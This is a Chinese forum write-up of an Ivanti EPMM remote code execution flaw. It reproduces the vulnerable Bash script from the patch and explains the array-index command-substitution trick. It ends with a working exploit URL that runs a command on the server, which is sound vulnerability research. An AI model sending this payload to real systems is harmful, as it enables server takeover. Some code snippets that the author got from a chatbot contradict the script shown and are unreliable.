找回密码
 立即注册
首页 业界区 业界 Ivanti EPMM RCE CVE-2026-1340/1281完整分析

Ivanti EPMM RCE CVE-2026-1340/1281完整分析

神泱 昨天 19:25
前言:

文中技术分析仅供交流讨论,poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号以及棉花糖无关。
介绍:

近日,Ivanti公司披露了Ivanti Endpoint Manager Mobile (EPMM)中存在的代码注入漏洞(CVE-2026-1281CVE-2026-1340),并确认已存在在野利用。该漏洞源于 Apache HTTPd 调用的 Bash 脚本在处理时间戳比较时,未能有效过滤恶意参数,导致攻击者可利用 Bash 算术扩展特性注入系统命令。
分析:

首先拿到补丁包
1.png

RPM的包那就好办了,直接查看它执行了什么即可,使用命令:
  1. rpm -qp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
复制代码
2.png

emmm内容有点多,不过根据已知条件,该漏洞源于 Apache HTTPd ,补丁包里面很容易看到关键的修改Apache HTTPd配置的命令:
  1. /bin/sed -i \
  2.   -e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \
  3.   -e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \
  4.   /etc/httpd/conf.d/ssl.conf
复制代码
就是说把map-appstore-url和map-aft-store-url给换掉了不用是吧,ok我们去看看这俩脚本是什么,目录已经给了在mi/bin下,我们直接进终端查一下
3.png

map-appstore-url和map-aft-store-url是个bash脚本,cat就可以直接看内容(另一个脚本内容差不太多,就不展示了)。
  1. #!/bin/bash
  2. set -o nounset
  3. declare -x MI_DATE_COMMAND="date +%Y-%m-%d--%H-%M-%S"
  4. declare -x MI_DATE_FORMAT="%Y-%m-%d--%H-%M-%S"
  5. declare -r kScriptName=$(basename $0)
  6. declare -r kScriptDirectory=$(dirname $0)
  7. declare -r kLogFile="/var/log/${kScriptName}.log"
  8. declare -r kSaltFile="/mi/files/appstore-salt.txt"
  9. declare -r kScriptStartTimeSeconds=$(date +%s)
  10. declare -r kValidTimeStampLength=${#kScriptStartTimeSeconds}
  11. declare -r kAftFileStoreDirectory='/mi/files/aftstore'
  12. # error codes that are used in /etc/httpd/conf.d/ssl.conf
  13. declare -r kPathTraversalAttemptedErrorCode="c91bbeec40aff3fd3fe0c08044c1165a"
  14. declare -r kLinkHashMismatchErrorCode="44b2ff3cf69c5112061aad51e0f7d772"
  15. declare -r kTooLateErrorCode="c6a0e7ca11208b4f11d04a7ee8151a46"
  16. declare -r kTooEarlyErrorCode="80862895184bfa4d00b24d4fbb3d942f"
  17. declare -r kKeyIndexOutOfBoundsErrorCode="f74c27fce7d8e2fecd10ab54eda6bd85"
  18. declare -r kURLStructureInvalidErrorCode="b702087a848177d489a6891bd7869495"
  19. declare -r kTimestampLengthInvalidErrorCode="2ecad569fdaa07e2b66ed2595cf7240f"
  20. declare -r kLinkSpoofErrorCode="cbfa488e9b08d4c5d7b3b2084ffb18e7"
  21. declare -r kLinkUsingOddTraversalErrorCode="f489b91db387b684f56c07e7f5e4308b"
  22. gShouldLogToFile="false"
  23. gSaltFileModificationTime="0"
  24. gTestMode="false"
  25. gErrorCode=0
  26. gErrorMessage=""
  27. declare -a gSaltArray=( )
  28. gCurrentSalt=""
  29. gHostname=""
  30. gPath=""
  31. gStartTime=""
  32. gEndTime=""
  33. if (( $# > 0 )) ; then
  34.   gTestMode="true"
  35. fi
  36. #echo "gTestMode=${gTestMode}"
  37. # information
  38. function log() {
  39.   if ${gTestMode} ; then
  40.     echo "`$MI_DATE_COMMAND` -- ${kScriptName} -- ${1}: ${@:2}"
  41.   else
  42.     # do not log since it kills performance
  43.     echo "$($MI_DATE_COMMAND) -- ${kScriptName} -- ${1}: ${@:2}" >> ${kLogFile}
  44.   fi
  45. }
  46. function logDebug() {
  47.   if ${gTestMode} ; then
  48.     echo "`$MI_DATE_COMMAND` -- ${kScriptName} -- ${1}: ${@:2}"
  49.   else
  50.     # do not log since it kills performance
  51.     ${gShouldLogToFile} && echo "$($MI_DATE_COMMAND) -- ${kScriptName} -- ${1}: ${@:2}" >> ${kLogFile}
  52.   fi
  53. }
  54. # errorCode
  55. # information
  56. function logDenial() {
  57.   local theCurrentDate="$(MI_DATE_COMMAND)"
  58.   if ${gTestMode} ; then
  59.     echo "$theCurrentDate -- ${kScriptName} -- ${1}: denying: errorCode=${2}: ${@:3}"
  60.   else
  61.     #echo "$theCurrentDate -- ${kScriptName} -- ${1}: denying: errorCode=${2}: ${@:3}" >> "${kLogFile}"
  62.     logger -t "${kScriptName}" -i -p local0.warning "$theCurrentDate -- ${1}: denying: errorCode=${2}: ${@:3}"
  63.   fi
  64. }
  65. log "MAIN" "starting"
  66. function dumpSaltArray() {
  67.   log "${FUNCNAME}" "entered"
  68.   for theSalt in "${gSaltArray[@]}" ; do
  69.     log "${FUNCNAME}" "theSalt=$theSalt"
  70.   done
  71. }
  72. log "MAIN" "after dumpSaltArray declaration"
  73. function readSaltFile() {
  74.   if [[ -f "${kSaltFile}" ]] ; then
  75.     theCurrentSaltModificationTime=$(stat -c %Y "${kSaltFile}")
  76.     logDebug "${FUNCNAME}" "theCurrentSaltModificationTime=${theCurrentSaltModificationTime}"
  77.     theDeltaTime=$(($theCurrentSaltModificationTime - $gSaltFileModificationTime))
  78.     logDebug "${FUNCNAME}" "theDeltaTime=${theDeltaTime}"
  79.     if [[ "${theDeltaTime}" -ne 0 ]] ; then
  80.       log "${FUNCNAME}" "theDeltaTime=${theDeltaTime} not zero; loading salt from kSaltFile=${kSaltFile}"
  81.       gSaltArray=( $(cat ${kSaltFile}))
  82.       gSaltArray[0]=""
  83.       gSaltFileModificationTime=$theCurrentSaltModificationTime
  84.     fi
  85.   else
  86.     log "${FUNCNAME}" "kSaltFile=${kSaltFile} not found"
  87.   fi
  88. }
  89. log "MAIN" "after readSaltFile declaration"
  90. #readSaltFile
  91. #dumpSaltArray
  92. #readSaltFile
  93. function lookupSaltByIndex() {
  94. #echo "$1 ${#gSaltArray[*]}"
  95.   if [ "$1" -lt ${#gSaltArray[*]} ] ; then
  96.     gCurrentSalt=${gSaltArray[$1]}
  97.   else
  98.     gCurrentSalt=""
  99.   fi
  100.   logDebug "${FUNCNAME}" "theKeyIndex=$1; gCurrentSalt=$gCurrentSalt"
  101. }
  102. log "MAIN" "after lookupSaltByIndex declaration"
  103. function verifyURLConsistency () {
  104.   logDebug "${FUNCNAME}" "${1}"
  105.   local ret="" # this is what we eventually echo and it's the name of a file for httpd to send to the client or a pattern that Rewrite is aware of and kill the connection with the right HTTP error code
  106.   #theAppStoreString=${1%%:*}
  107.   #echo "${theAppStoreString}"
  108.   #declare
  109.   theOldIFS="${IFS}"
  110.   local theArgumentArray
  111.   # process what httpd gave us in $1 splitting on the _
  112.   IFS="_" && theArgumentArray=(${1})
  113.   theAftStoreString=${theArgumentArray[0]}
  114.   theAftStoreAssetGUIDWithExtension=${theArgumentArray[1]}
  115.   gHostname=${theArgumentArray[2]}
  116.   theURLString=${theArgumentArray[3]}
  117.   #echo "${theAftStoreString}"
  118.   # process what mifs really gave us in $1 splitting on the ,
  119.   IFS="," && theAftStoreKeyValueArray=(${theAftStoreString})
  120.   IFS="${theOldIFS}"
  121.   if (( ${#theArgumentArray[@]} != 4 )) ; then
  122.     ret="${kURLStructureInvalidErrorCode}"
  123.     log "${FUNCNAME}" "${ret}" "expecting 5 segments; actual=${#theArgumentArray[@]}"
  124.   fi
  125.   if [[ -z ${ret} ]] ; then
  126.     for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
  127.       theKey="${theKeyMapEntry%%=*}"
  128.       theValue="${theKeyMapEntry##*=}"
  129.       logDebug "${FUNCNAME}" "theKey=$theKey; theValue=$theValue"
  130.       case ${theKey} in
  131.         kid)
  132.           gKeyIndex="${theValue}"
  133.           ;;
  134.         st)
  135.           gStartTime="${theValue}"
  136.           if (( ${#gStartTime} != "${kValidTimeStampLength}" )) ; then
  137.             ret="${kTimestampLengthInvalidErrorCode}"
  138.           fi
  139.           ;;
  140.         et)
  141.           gEndTime="${theValue}"
  142.           if (( ${#gEndTime} != "${kValidTimeStampLength}" )) ; then
  143.             ret="${kTimestampLengthInvalidErrorCode}"
  144.           fi
  145.           ;;
  146.         h)
  147.           gHashPrefixString="${theValue}"
  148.           ;;
  149.         *)
  150.           ret="${kURLStructureInvalidErrorCode}"
  151.           logDenial "${FUNCNAME}" "${ret}" "unknown presented key=${theKey}; theValue=${theValue}"
  152.           ;;
  153.       esac
  154.     done
  155.   fi
  156.   if [[ -z ${ret} ]] ; then
  157.     lookupSaltByIndex ${gKeyIndex}
  158.     if [[ -n "${gCurrentSalt}" ]] ; then
  159.       logDebug "${FUNCNAME}" "continuing: gCurrentSalt=$gCurrentSalt"
  160.       theCurrentTimeSeconds=$(date +%s)
  161.       logDebug "${FUNCNAME}" "theCurrentTimeSeconds=${theCurrentTimeSeconds}"
  162.       #theCurrentTimeSeconds=1336011206
  163.       #theCurrentTimeSeconds=1336770818
  164.       #gHostname="cot-0000001.mobileiron.com"
  165.       #gHostname="qa42.mobileiron.com"
  166.       if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
  167.         logDebug "${FUNCNAME}" "continuing: not too early"
  168.         if [[ ${theCurrentTimeSeconds} -lt ${gEndTime} ]] ; then
  169.           logDebug "${FUNCNAME}" "continuing: not too late"
  170.           # calculate the path
  171.           gPath=${theURLString/\/sha256:${theAftStoreString}/}
  172.           theStringToHash="${gCurrentSalt}${gHostname}${gPath}${gStartTime}${gEndTime}"
  173.           theAssetFile="${theAftStoreAssetGUIDWithExtension}"
  174.           # the string to hash must end with the assetfile start end
  175.           logDebug "${FUNCNAME}" "theStringToHash=${theStringToHash}"
  176.           if [[ "${theStringToHash}" = *"${theAssetFile}${gStartTime}${gEndTime}" ]] ; then
  177.             theSHA256Hash=$(echo -n "${theStringToHash}" | sha256sum)
  178.             theSHA256Prefix=${theSHA256Hash:0:64}
  179.             # theSHA256Prefix=${theSHA256Hash}
  180.             logDebug "${FUNCNAME}" "theSHA256Hash=$theSHA256Hash; theSHA256Prefix=$theSHA256Prefix"
  181. shopt -s nocasematch
  182.             if [[ "${theSHA256Prefix}" = "${gHashPrefixString}" ]] ; then
  183.               logDebug "${FUNCNAME}" "hash matched"
  184.               if [[ "${theAssetFile}" = *..* ]] || [[ "${theAssetFile}" = .* ]] || [[ "${theAssetFile}" = /* ]]; then
  185.                 ret="${kPathTraversalAttemptedErrorCode}"
  186.                 logDenial "${FUNCNAME}" "${ret}" "getting spoofed: ${theAssetFile}"
  187.               else
  188.                 ret="${kAftFileStoreDirectory}"/"${theAftStoreAssetGUIDWithExtension}"
  189.               fi
  190.             else
  191.               ret="${kLinkHashMismatchErrorCode}"
  192.               logDenial "${FUNCNAME}" "${ret}" "link hash mismatch: theSHA256Prefix=$theSHA256Prefix; gHashPrefixString=${gHashPrefixString}; ${1}"
  193.             fi
  194.           else
  195.             ret="${kLinkSpoofErrorCode}"
  196.             logDenial "${FUNCNAME}" "${ret}" "link being spoofed: theStringToHash=${theStringToHash}; requiredSuffix=${theAppStoreSubDirectory}/${theAppStoreAssetGUID}${theAppStoreAssetExtension}${gStartTime}${gEndTime}; ${1}"
  197.           fi
  198. shopt -u nocasematch
  199.         else
  200.           ret="${kTooLateErrorCode}"
  201.           logDenial "${FUNCNAME}" "${ret}" "link too late: theCurrentTimeSeconds=${theCurrentTimeSeconds}; ${1}"
  202.         fi
  203.       else
  204.         ret="${kTooEarlyErrorCode}"
  205.         logDenial "${FUNCNAME}" "${ret}" "link too early: theCurrentTimeSeconds=${theCurrentTimeSeconds}; ${1}"
  206.       fi
  207.     else
  208.       ret="${kKeyIndexOutOfBoundsErrorCode}"
  209.       logDenial "${FUNCNAME}" "${ret}" "key index out of bounds: ${1}"
  210.     fi
  211.   else
  212.     ret="${kURLStructureInvalidErrorCode}"
  213.     logDenial "${FUNCNAME}" "${ret}" "URL not structurally correct: ${1}"
  214.   fi
  215.   # tell httpd what file to send (or error message)
  216.   echo "${ret}"
  217. }
  218. if ${gTestMode} ; then
  219.   readSaltFile
  220.   verifyURLConsistency "${1}"
  221. else
  222.   logDebug "MAIN" looping
  223.   readSaltFile
  224.   while read theCurrentLine; do
  225.     readSaltFile
  226.     logDebug "MAIN" "${theCurrentLine}"
  227.     verifyURLConsistency "${theCurrentLine}"
  228.   done
  229. fi
复制代码
但内容太多了,我们还是请AI老师帮我们统一分析一下
4.png

AI老师帮我们分析并得到了一个传参请求,然后我们还得去apache的配置文件看看入口路径是什么,在/etc/httpd/conf.d/ssl.conf文件中找找相关的内容,由于配置文件内容太多了这里就不贴了,我也懒得找,还是让AI老师帮我们找找吧。
5.png

deepseek老师还是太善解人意了,直接给了一个标准请求:
  1. /mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1666663066,et=1666670266,h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2/75dc90fe-6ae7-4377-913b-7248334d39dc.ipa
复制代码
但这些传参到bash中,并没有找到明显的直接命令执行的点,这时我们需要再理解一下bash脚本,首先看bash脚本中的开头:
  1. gKeyIndex=""
  2. gStartTime=""
  3. gEndTime=""
  4. gHashPrefixString=""
  5. gPath=""
  6. IFS=',' read -ra theAppStoreKeyValueArray
复制代码
脚本会用 IFS=',' 把传入的参数分割成数组 theAppStoreKeyValueArray,传参后是这样的数组:
  1. ["kid=1", "st=1444444444", "et=1444444444", "h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"]
复制代码
然后在下方有这样的一段循环:
  1.   if [[ -z ${ret} ]] ; then
  2.     for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
  3.       theKey="${theKeyMapEntry%%=*}"
  4.       theValue="${theKeyMapEntry##*=}"
复制代码
它把传参的这些参数名和值循环赋值给了theKey和theValue,然后又被赋值到全局变量gKeyIndex、gStartTime、gEndTime、gHashPrefixString中,继续跟下去,看看这些值在哪里用到。
key参数赋值到了变量gKeyIndex,最终在这里应用:
  1. kAppStoreSaltFile="/mi/files/appstore-salt.txt"
  2. gSalt=""
  3. if [[ -f ${kAppStoreSaltFile} ]]; then
  4.   gSalt=$(sed -n "${gKeyIndex}p" "${kAppStoreSaltFile}")
  5.   if [[ -z ${gSalt} ]]; then
  6.     ret="${kSaltIndexInvalidErrorCode}"
  7.     logDenial "${FUNCNAME}" "${ret}" "kid(${gKeyIndex}) is invalid (no salt found)"
  8.   fi
  9. else
  10.   ret="${kSaltFileMissingErrorCode}"
  11.   logDenial "${FUNCNAME}" "${ret}" "Salt file ${kAppStoreSaltFile} not found"
  12. fi
复制代码
它是用来读取/mi/files/appstore-salt.txt对应行的,这个文件里面的hash值读取出来用来校验后续参数。
st 参数最终赋值给了gStartTime,分别在两个地方被调用:
  1. kValidTimeStampLength=10
  2. case ${theKey} in
  3.   st)
  4.     gStartTime="${theValue}"
  5.     if (( ${#gStartTime} != "${kValidTimeStampLength}" )); then
  6.       ret="${kTimestampLengthInvalidErrorCode}"
  7.     fi
  8.     ;;
复制代码
这里判断了这个参数是否长度为10。
  1. theCurrentTimeSeconds=$(date +%s)
  2. if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
  3.   logDebug "${FUNCNAME}" "Current time(${theCurrentTimeSeconds}) > start time(${gStartTime})"
  4.   # ...
  5. else
  6.   ret="${kRequestExpiredErrorCode}"
  7.   logDenial "${FUNCNAME}" "${ret}" "Start time(${gStartTime}) is in the future"
  8. fi
复制代码
这里用来比较当前时间是否晚于请求开始时间。
et 参数(gEndTime)和gStartTime的用处差不多,也校验了长度和用于验证当前时间≤结束时间。
h 参数(gHashPrefixString)是用于hash校验的值。
看上去还是没有直观的命令执行的代码,别急,我们再引入一个知识点。
首先给大家看一个脚本:
  1. #!/bin/bash
  2. arr=""
  3. var="arr[`echo 'hacked' > ./hack_mht`0]"
  4. [[ 1 -gt $var ]]
  5. if [[ -f ./hack_mht ]]; then
  6.     echo "执行成功!"
  7. else
  8.     echo "未执行"
  9. fi
复制代码
bro们觉得这个脚本能成功执行命令吗?
答案:
6.png

为什么会这样捏,因为在bash中,数值比较功能可以解析array[index]这样的数值索引,index会被优先解析为算数表达式,比如array[1+1],会先计算1+1,而bash又有一个命令替换的优先级规则,如果你把array[1+1]改为
  1. array[`echo 111`]
复制代码
则先执行被反引号包裹的命令,举例:
  1. current_date=`date`
  2. echo "今天是: $current_date"
  3. echo "当前目录: `pwd`"
复制代码
显然在if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; 和if [[ ${theCurrentTimeSeconds} -lt ${gEndTime} ]] ; 中都存在这个条件,但我们之前说了,gStartTime和gEndTime都做了长度校验的,必须为十位,这就很鸡肋了,那怎么样才能绕过这个问题呢?
回到最开始的定义变量与循环:
  1.   if [[ -z ${ret} ]] ; then
  2.     for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
  3.       theKey="${theKeyMapEntry%%=*}"
  4.       theValue="${theKeyMapEntry##*=}"
复制代码
bash中使用theKey和theValue循环赋值,传参的最后一个值为h,所以theValue最后的值是就是h的值,那现在就很有意思了,gStartTime和gEndTime都有长度限制,但h的值没有,能不能让h的值走到if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then里面去应用数值索引+命令替换呢?
可以的,既然在bash中有变量theValue=h传参,那我们就直接让gStartTime=theValue,最终流程:可控h参数->theValue->gStartTime,然后进入if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]];应用数值索引+命令替换,现在我们已经有了RCE的完整链条,开始构造最终poc。
kid参数为文件行数,随便用个1,st参数为theValue,注意十位长度校验,所以还需要再加两个空格,et参数也参与比较,也可作为theValue传参,st与et随便一个地方设置为theValue都可以,最后是h参数,只需要满足array[index]即可。
index部分的内容有了,array部分写什么呢,bash开头开启了set -o nounset,这是严格模式,严格模式下,Bash 遇到未定义的变量会直接终止脚本执行,直接从bash开头定义的那些空变量里面选一个,比如gPath和gHostname都可以,构造最终值:
  1. gHostname[`id > /mi/bin/mht`]
复制代码
最终poc:
  1. /mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1111111111,et=theValue%20%20,h=gHostname%5B%60id%20>%20/mi/bin/mht%60%5D/mht.ipa
复制代码
7.png

该漏洞复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册